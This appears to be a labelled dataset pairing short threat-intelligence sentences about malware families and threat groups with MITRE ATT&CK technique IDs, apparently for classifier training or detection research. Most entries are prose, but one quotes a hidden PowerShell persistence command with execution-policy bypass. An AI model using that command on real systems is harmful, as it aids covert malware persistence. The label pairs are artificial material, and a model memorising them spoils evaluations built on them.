SLOTHFULMEDIA has named a service it establishes on victim machines as "TaskFrame" to hide its malicious purpose.
Technique: T1036: Masquerading
BackdoorDiplomacy has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.
Technique: T1095: Non-Application Layer Protocol
APT38 has collected data from a compromised host.
Technique: T1005: Data from Local System
POWERSTATS can disable Microsoft Office Protected View by changing Registry keys.
Technique: T1562: Impair Defenses
APT41 leveraged sticky keys to establish persistence.
Technique: T1546: Event Triggered Execution
Information can easily be queried using the Reg utility, though other means to access the Registry exist.
Technique: T1012: Query Registry
The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com.
Technique: T1033: System Owner/User Discovery
FIN6 has used Windows Credential Editor for credential dumping.
Technique: T1003: OS Credential Dumping
HotCroissant has the ability to determine if the current user is an administrator, Windows product name, processor name, screen resolution, and physical RAM of the infected host.
Technique: T1082: System Information Discovery
njRAT has used HTTP to receive stolen information from the infected machine.
Technique: T1041: Exfiltration Over C2 Channel
Kazuar gathers information about local groups and members.
Technique: T1069: Permission Groups Discovery
If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk.
Technique: T1553: Subvert Trust Controls
Adversaries may gather the victim's physical location that can be used during targeting.
Technique: T1591: Gather Victim Org Information
Threat Group-3390 has used the net view command.
Technique: T1018: Remote System Discovery
Chimera has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts.
Technique: T1110: Brute Force
Hancitor  has added Registry Run keys to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\handler.
Technique: T1546: Event Triggered Execution
Containment provided by enclaving also makes incident cleanup significantly less costly.Configure firewalls to disallow Remote Desktop Protocol (RDP) traffic coming from outside of the network boundary, except for in specific configurations such as when tunneled through a secondary virtual private network (VPN) with lower privileges.Audit existing firewall rules and close all ports that are not explicitly needed for business
Technique: T1021: Remote Services
This is technically a deprecated technology , and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra.
Technique: T1037: Boot or Logon Initialization Scripts
Machete used scheduled tasks for persistence.
Technique: T1053: Scheduled Task/Job
Adversaries can execute malicious content by interacting with or creating services either locally or remotely.
Technique: T1569: System Services
APT29 configured at least one instance of Cobalt Strike to use a network pipe over SMB during the 2020 SolarWinds intrusion.
Technique: T1090: Proxy
Ke3chang performs process discovery using tasklist commands.
Technique: T1057: Process Discovery
Magic Hound malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.
Technique: T1027: Obfuscated Files or Information
Adversaries may gather information about the victim's network trust dependencies that can be used during targeting.
Technique: T1590: Gather Victim Network Information
Lazarus Group malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.
Technique: T1005: Data from Local System
Ixeshe can download and execute additional files.
Technique: T1105: Ingress Tool Transfer
Gorgon Group malware can download additional files from C2 servers.
Technique: T1105: Ingress Tool Transfer
Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity
Technique: T1036: Masquerading
Adversaries may attempt to exfiltrate data over a USB connected physical device.
Technique: T1052: Exfiltration Over Physical Medium
FIN6 has sent stolen payment card data to remote servers via HTTP POSTs.
Technique: T1048: Exfiltration Over Alternative Protocol
SHUTTERSPEED can download and execute an arbitary executable.
Technique: T1105: Ingress Tool Transfer
Sidewinder has used mshta.exe to execute malicious payloads.
Technique: T1218: Signed Binary Proxy Execution
RTM can download additional files.
Technique: T1105: Ingress Tool Transfer
In contrast to the two samples used in these attacks, this one did not use a PE attachment, and instead used a Microsoft Word document containing a malicious macro as the delivery vehicle
Technique: T1566: Phishing
Rocke has used Python-based malware to install and spread their coinminer.
Technique: T1059: Command and Scripting Interpreter
Melcoz can monitor the victim's browser for online banking sessions and display an overlay window to manipulate the session in the background.
Technique: T1185: Browser Session Hijacking
Derusbi gathers the name of the local host, version of GNU Compiler Collection , and the system information about the CPU, machine, and operating system.
Technique: T1082: System Information Discovery
Lucifer can download and execute a replica of itself using certutil.
Technique: T1105: Ingress Tool Transfer
CostaBricks has added the entire unobfuscated code of the legitimate open source application Blink to its code.
Technique: T1027: Obfuscated Files or Information
Metamorfo had used AutoIt to load and execute the DLL payload.
Technique: T1129: Shared Modules
In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests.
Technique: T1499: Endpoint Denial of Service
RARW Creates RAR files per logical drive containing data with timestamps for the past 7 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php”
Technique: T1560: Archive Collected Data
API hooking 
Technique: T1056: Input Capture
TeamTNT searches for rival malware and removes them if found.
Technique: T1057: Process Discovery
Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.
Technique: T1491: Defacement
This is consistent with most espionage-motivated adversaries, as once the adversary gains access via legitimate credentials, they are able to masquerade as a legitimate user and essentially become an insider threat
Technique: T1036: Masquerading
Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult.
Technique: T1001: Data Obfuscation
Turian can disguise as a legitimate service to blend into normal operations.
Technique: T1036: Masquerading
Evilnum can collect email credentials from victims.
Technique: T1555: Credentials from Password Stores
To assist in establishing persistence, RogueRobin creates %APPDATA%\OneDrive.bat and saves the following string to it:powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”.
Technique: T1059: Command and Scripting Interpreter